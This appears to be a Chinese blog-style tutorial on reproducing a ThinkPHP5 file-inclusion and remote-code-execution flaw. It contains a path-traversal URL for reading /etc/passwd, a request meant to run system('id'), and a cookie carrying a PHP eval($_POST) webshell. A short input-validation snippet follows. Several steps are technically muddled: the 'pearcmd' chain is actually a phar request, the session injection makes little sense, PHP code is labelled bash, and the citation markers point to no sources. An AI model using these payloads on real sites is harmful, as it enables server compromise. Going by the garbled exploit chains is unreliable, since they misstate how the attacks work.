thinkphp5文件包含漏洞复现
时间: 2025-05-18 19:09:50 浏览: 22
### ThinkPHP5 文件包含漏洞复现教程
#### 背景介绍
ThinkPHP 是一款流行的 PHP 开源框架,广泛应用于 Web 应用开发。然而,在某些特定条件下,该框架可能存在严重的安全漏洞。例如,当启用多语言功能或模板引擎未正确处理输入时,可能导致文件包含漏洞甚至远程代码执行 (RCE)[^1]。
受影响的版本包括但不限于以下范围:
- **ThinkPHP 5.x 版本**[^2]
以下是针对此漏洞的安全测试方法:
---
#### 配置环境准备
为了成功复现漏洞,需搭建一个易受攻击的 ThinkPHP 环境。具体操作如下:
1. 下载并安装目标版本的 ThinkPHP 框架。
2. 修改配置文件 `/application/config.php` 中的相关参数以激活多语言支持:
```php
'lang_switch_on' => true,
```
此设置允许通过 URL 参数切换语言文件[^3]。
---
#### 利用过程详解
##### 1. 构造恶意请求触发文件包含
利用 `lang` 参数传递特殊路径字符串来访问任意本地文件。例如:
```
http://localhost/index.php?s=index/think\..\think/library/driver/view/Php.php&lang=../../../../../../etc/passwd%00
```
上述 URL 尝试读取系统的 `/etc/passwd` 文件作为伪翻译资源加载到应用中。
##### 2. 实现 RCE 的关键点—— pearcmd 巧妙运用
进一步深入挖掘发现,如果能够控制被引入的内容,则可注入恶意脚本完成命令执行。这里借助默认存在的 `pearcmd` 功能达成目的:
```
?file=phar://./vendor/composer/autoload_files.php/a.php&filter[]=system&content=id
```
这条链路最终会调用 system 函数运行 id 命令[^4]。
##### 3. Session 文件写入与提权尝试
除了直接嵌套外部实体外,还可以操控 session 数据存储机制生成自定义 php shell 。按照惯例,session ID 存储于浏览器 cookies 内部;因此只需伪造相应字段即可指定保存位置以及内容格式化方式为期望形式:
```
Cookie: PHPSESSID=test; sess_test=<?php @eval($_POST['c']);?>
```
随后再次发送 GET 请求至服务器端口监听处等待交互响应[^5]。
---
#### 编码实践建议
尽管以上演示展示了潜在风险所在之处,但在实际项目部署过程中应当采取有效措施规避此类隐患发生概率最大化降低危害程度比如加强输入验证逻辑或者关闭不必要的扩展特性等等。
```bash
# 示例防御手段之一:严格校验所有动态传参合法性
if (!preg_match('/^[a-zA-Z0-9_-]+$/', $_GET['param'])) {
die('Invalid input');
}
```
---
阅读全文
相关推荐














